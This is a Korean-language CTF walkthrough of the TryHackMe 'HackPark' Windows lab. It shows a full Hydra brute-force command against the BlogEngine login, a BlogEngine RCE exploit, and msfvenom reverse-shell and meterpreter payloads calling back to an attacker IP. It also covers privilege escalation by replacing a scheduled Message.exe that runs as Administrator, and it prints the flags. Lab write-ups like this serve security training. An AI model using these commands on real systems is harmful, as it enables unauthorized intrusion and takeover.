안녕하세요
이번에 풀어볼 머신은 HackPark입니다.
┌──(root㉿kali)-[~/hack/LAB/HackPark]
└─# nmap --open -p- --max-retries 1 --min-rate 4000 -Pn 10.10.178.192
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-25 07:08 KST
Nmap scan report for 10.10.178.192
Host is up (0.29s latency).
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
80/tcp open http
3389/tcp open ms-wbt-server
서버에는 전체 포트 중 2개가 활성화 된 것을 확인했습니다.
우선 웹서버에 접속을 해보고 정찰하며 웹 디렉토리 브루트포스 공격을 합니다.
웹 서버에 접속하니 피에로 사진이 있는 사이트가 나왔고, 로그인 버튼을 누르자 아래와 같은
BlogEnging이라는 커스텀 로그인창이 나옵니다.
BlogEngine이라는 소프트웨어의 Default Password를 검색했는데 비밀번호를 변경했는지
로그인에는 성공하지 못했습니다.
혹시나 CVE가 존재하는지 싶어서 ExploitDB에 검색해봅니다.
사용할 수 있는 스크립트가 몇가지 존재하는데, 아마도 3.3.6 버전의 RCE 취약점이 유효할 것 같습니다.
또한 웹서버의 robots.txt에서 막고있는 확장자를 보니 aspx입니다.
https://www.exploit-db.com/exploits/46353
ExploitDB에서 확인한 3.3.6 이하의 버전에서는 RCE가 가능하다고 나왔는데,
현재 서버의 버전이 몇인지는 확인이 안 된 상태입니다.
이 상태에서 버전정보를 확인할 수도 있지만, 어차피 성공하나 실패하나 결국
둘 중 하나이기 때문에 굳이 버전 정보를 수집하지 않고 일단 공격을 해보겠습니다.
해당 페이지에서 문서를 읽어보면 PostView.ascx 파일로 이름을 변경한 뒤
칼리의 서버와 포트를 입력하고 업로드한 다음 아래와 같은 경로로 이용해서 파일을 실행하라고 합니다.
http://10.10.10.10/?theme=../../App_Data/files
파일을 업로드 하기 위해서 우선 관리자 계정을 찾아야 했는데,
이렇게 정보수집을 하는 가운대 사실 Hydra 도구를 이용해서 브루트포스 공격을 하고 있었습니다.
그러던 중 마침 관리자 계정을 크랙하는데 성공했습니다
┌──(root㉿kali)-[~/hack/LAB/HackPark] 07:19:32 [1432/1478]
└─# hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.178.192 http-post-form "/Account/login.aspx?ReturnURL=%2fadmin%2f:__VIEWSTATE=U98Ivb1bRBG%2Fhy5XerrKL03xCsOZonPxTh9VJZZ6g8E9cFo0YNnYmLCnEVwHa7ufOm%2F
KL717f%2FcbugSbXGoOuYshfv%2FUROnGJjb%2BtnGcg4R5gXXv0W9BMNidrdDPXC9IRMlNStD3BBZqjb1WxrIr9vFUrpk%2Bk1QdaOtYOpCblOnlcl%2BKm9gy0exXJc9%2FKMHNdcWyBp7WRYLKKR8p7msPFhFkSSQEvuJngFwJvWSLDnlbuorHPcji0FcJDI5tepGyK6N073Drq
At%2BbidO1rlxPTQyDZxZsUPIBV%2FnRv28F3X9nLBWuWHisP8TvKQNilejrwrOmccDbGQXM6uJrAvBtKpG6KYrPraAVPl26FbLj9%2B7S5Dr&__EVENTVALIDATION=LP7hUmIAaig%2FdH80n5BpZ1tlvb%2FgynezPOeoxdHeq%2BcytJ0FyDs9qmDloAggl5jQhh3kHOErRg4H
lwR3p7gg%2FdPoo%2Fw2xenXj7y%2FJdB4p%2FPZ0Cs4RkWEIlttPTYJh%2Bt5dp0lenf45QVsIc%2FBLjdTNa2o1NpgDAylG6pmsMc6MPWGoN85&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PAS
S^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:failed" -vV -f
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
.
.
.
[80][http-post-form] host: 10.10.178.192 login: admin password: 1qaz2wsx
[STATUS] attack finished for 10.10.178.192 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-25 07:21:43
파일을 업로드 하는 경로 또한 지정이 되어있습니다.
문서에서는 /admin/app/editor/editpost.cshtml 경로에 삽입하라고 나옵니다.
이 경로가 관리자 계정으로 로그인 한 이후에 Posts를 눌렀을 때의 경로입니다.
즉 포스트를 발행할 때 이곳에 악성파일을 심어야지 RCE가 가능합니다.
위와 같이 피에로 게시글에 PostView.ascx 파일을 업로드 한 뒤 저장합니다.
그리고 RCE를 위해서 문서에서 지정한 경로로 접속을 시도합니다.
위와 같이 지정한 경로로 이동하기 전에 nc를 통해 포트를 열어두고 접속하니
리버스 쉘 연결에 성공한 것을 확인할 수 있습니다.
마찬가지로 침투한 이후 이대로 지속하는 것이 아닌 msfvenom을 통해서 미터프리터 쉘로 업그레이드를 합니다.
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > options
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
View the full module info with the info, or info -d command.
msf6 exploit(multi/handler) > set LHOST 10.10.178.192
LHOST => 10.10.178.192
msf6 exploit(multi/handler) > run
[-] Handler failed to bind to 10.10.178.192:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
미터프리터에서 적당히 옵션을 조절해준 후 run을 눌러 포트를 열어둡니다.
그리고 다른 터미널에서는 msfvenom을 통해서 리버스쉘 실행파일을 생성해줍니다.
┌──(root㉿kali)-[~/hack/LAB/HackPark]
└─# msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai lhost=10.11.106.160 LPORT=4444 -f exe -o shell.exe
이제 이것을 certutil을 통해서 윈도우 터미널로 옮기고 실행해주면
미터프리터 쉘이 연결된 것을 확인할 수 있습니다.
랩에서 winPEAS.bat을 통해서 자동 스크립트 진단을 하라고 권유하니 다운로드 받아봅니다.
참고로 Linpeas.sh와 동일한 사람이 만든 것이고 자동적인 진단을 해줍니다.
윈도우의 경우 리눅스와 진단 항목이 다르기 때문에 결과도 조금 다르지만
주요 시사점으로는 xfreerdp에 접속할 수 있는 계정이 발견될 경우 해당 계정의 계정정보와
자동으로 실행되는 프로세스가 있다면 그것을 알려줘서 해당 파일을 통해 권한상승 가능성을 알려줍니다.
저는 winPEAS를 사용하다가 너무 오래 걸려서 그냥 수동으로 찾았습니다.
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System
348 672 svchost.exe
368 4 smss.exe
524 516 csrss.exe
580 568 csrss.exe
592 516 wininit.exe
616 568 winlogon.exe
672 592 services.exe
680 592 lsass.exe
740 672 svchost.exe
784 672 svchost.exe
868 672 svchost.exe
884 616 dwm.exe
904 672 svchost.exe
964 672 svchost.exe
1016 672 svchost.exe
1132 672 spoolsv.exe
1156 2560 shell.exe x86 0 IIS APPPOOL\Blog C:\Windows\Temp\shell.exe
1176 672 amazon-ssm-agent.e
xe
1240 672 svchost.exe
1272 672 LiteAgent.exe
1328 672 svchost.exe
1344 672 svchost.exe
1424 672 WService.exe
1548 1424 WScheduler.exe
1644 672 Ec2Config.exe
1744 740 WmiPrvSE.exe
1852 1344 w3wp.exe x64 0 IIS APPPOOL\Blog C:\Windows\System32\inetsrv\w3wp.exe
1928 1980 findstr.exe x86 0 IIS APPPOOL\Blog C:\Windows\SysWOW64\findstr.exe
1980 1156 cmd.exe x86 0 IIS APPPOOL\Blog C:\Windows\SysWOW64\cmd.exe
2024 672 msdtc.exe
2100 672 svchost.exe
2560 1852 cmd.exe x64 0 IIS APPPOOL\Blog C:\Windows\System32\cmd.exe
2580 904 taskhostex.exe
2652 2640 explorer.exe
2700 2560 conhost.exe x64 0 IIS APPPOOL\Blog C:\Windows\System32\conhost.exe
2760 1980 conhost.exe x64 0 IIS APPPOOL\Blog C:\Windows\System32\conhost.exe
2768 2604 ServerManager.exe
3016 1980 findstr.exe x86 0 IIS APPPOOL\Blog C:\Windows\SysWOW64\findstr.exe
3040 2792 WScheduler.exe
서버에서 실행되는 프로세스의 목록을 나열했을 때
WScheduler.exe라는 이름의 프로세스가 두가지 실행되고 있음을 알 수 있습니다.
여기서 TryHackMe는 WScheduler가 이상함을 알았으니 스케줄러의 로그를 확인하라고 합니다.
로그는 C:\Program Files (x86)\SystemScheduler\Events 경로에서 확인할 수 있습니다.
09/24/24 16:27:01,Event Started Ok, (Administrator)
09/24/24 16:27:32,Process Ended. PID:2880,ExitCode:4,Message.exe (Administrator)
09/24/24 16:28:01,Event Started Ok, (Administrator)
09/24/24 16:28:33,Process Ended. PID:2732,ExitCode:4,Message.exe (Administrator)
09/24/24 16:29:01,Event Started Ok, (Administrator)
09/24/24 16:29:33,Process Ended. PID:1616,ExitCode:4,Message.exe (Administrator)
09/24/24 16:30:01,Event Started Ok, (Administrator)
09/24/24 16:30:33,Process Ended. PID:1384,ExitCode:4,Message.exe (Administrator)
09/24/24 16:31:02,Event Started Ok, (Administrator)
09/24/24 16:31:33,Process Ended. PID:2108,ExitCode:4,Message.exe (Administrator)
09/24/24 16:32:01,Event Started Ok, (Administrator)
09/24/24 16:32:33,Process Ended. PID:2520,ExitCode:4,Message.exe (Administrator)
09/24/24 16:33:02,Event Started Ok, (Administrator)
09/24/24 16:33:34,Process Ended. PID:1908,ExitCode:4,Message.exe (Administrator)
09/24/24 16:34:00,Event Started Ok, (Administrator)
09/24/24 16:34:32,Process Ended. PID:2192,ExitCode:4,Message.exe (Administrator)
09/24/24 16:35:01,Event Started Ok, (Administrator)
09/24/24 16:35:33,Process Ended. PID:2232,ExitCode:4,Message.exe (Administrator)
09/24/24 16:36:01,Event Started Ok, (Administrator)
로그를 확인해보니 30초마다 관리자 권한으로 Message.exe 파일이 실행되고 있음을 알 수 있습니다.
그래서 우리는 이곳에서 쓰기 권한이 존재한다면 Message.exe 파일을 덮어서
리버스 쉘 실행파일로 변경하여 백도어를 심을 수 있을 것 같습니다.
그러기 위해서는 파일을 작성할 권한이 있는지부터 체크해야 합니다.
icacls를 사용하여 현재 디렉토리에 어떤 권한이 있는지 체크합니다.
C:\Program Files (x86)\SystemScheduler>icacls .
icacls .
. Everyone:(OI)(CI)(M)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
Successfully processed 1 files; Failed processing 0 files
다행히 Message.exe 파일을 덮어 써야하는 디렉토리에 모든 사용자가 수정 권한이 존재합니다.
아래와 같이 msfvenom으로 리버스쉘 실행파일을 생성한 후 윈도우에 옮깁니다.
이때는 기존의 Message.exe파일을 다른 것으로 옮긴 후에 진행합니다.
┌──(root㉿kali)-[~/hack/LAB/alfred]
└─# msfvenom -p windows/shell_reverse_tcp LHOST=10.11.106.160 LPORT=1337 -f exe -o Message.exe
meterpreter > mv message.exe message.bat
meterpreter > upload ~/hack/LAB/alfred/Message.exe
[*] Uploading : /root/hack/LAB/alfred/Message.exe -> Message.exe
[*] Uploaded 72.07 KiB of 72.07 KiB (100.0%): /root/hack/LAB/alfred/Message.exe -> Message.exe
[*] Completed : /root/hack/LAB/alfred/Message.exe -> Message.exe
미터프리터 쉘에서 기존의 Message.exe 파일을 변경한 후에
msfvenom을 통해 생성한 Message.exe 파일을 스케줄러 경로에 업로드 해줍니다.
그리고 다른 터미널에서는 msfvenom에서 생성한 포트번호와 동일하게 nc로 포트를 열어둡니다.
30초마다 Message.exe가 관리자 권한으로 실행되기 때문에 30초를 기다리면
쉘이 연결되고 관리자 권한으로 접속이 됩니다.
┌──(root㉿kali)-[~/hack/LAB/alfred]
└─# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.11.106.160] from (UNKNOWN) [10.10.207.131] 49229
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\PROGRA~2\SYSTEM~1>whoami
whoami
C:\PROGRA~2\SYSTEM~1>cd C:\users\administrator\desktop
cd C:\users\administrator\desktop
C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 0E97-C552
Directory of C:\Users\Administrator\Desktop
08/04/2019 11:49 AM <DIR> .
08/04/2019 11:49 AM <DIR> ..
08/04/2019 11:51 AM 32 root.txt
08/04/2019 04:36 AM 1,029 System Scheduler.lnk
2 File(s) 1,061 bytes
2 Dir(s) 39,124,418,560 bytes free
C:\Users\Administrator\Desktop>more root.txt
more root.txt
7e13d97f05f7ceb9881a3eb3d78d3e72
루트 플래그를 확인해주고 이어서 jeff 디렉토리로 이동하여 유저 플래그도 확인해줍니다.
Directory of C:\Users\jeff\Desktop
08/04/2019 11:55 AM <DIR> .
08/04/2019 11:55 AM <DIR> ..
08/04/2019 11:57 AM 32 user.txt
1 File(s) 32 bytes
2 Dir(s) 39,124,418,560 bytes free
C:\Users\jeff\Desktop>more user.txt
more user.txt
759bd8af507517bcfaede78a21a73e39
[TryHackMe] Daily Bugle (2) | 2024.09.26 |
---|---|
[TryHackMe] Skynet (2) | 2024.09.26 |
[TryHackMe] Game Zone (1) | 2024.09.25 |
[TryHackMe] Alfred (3) | 2024.09.25 |
[TryHackMe] Vulnversity (2) | 2024.09.12 |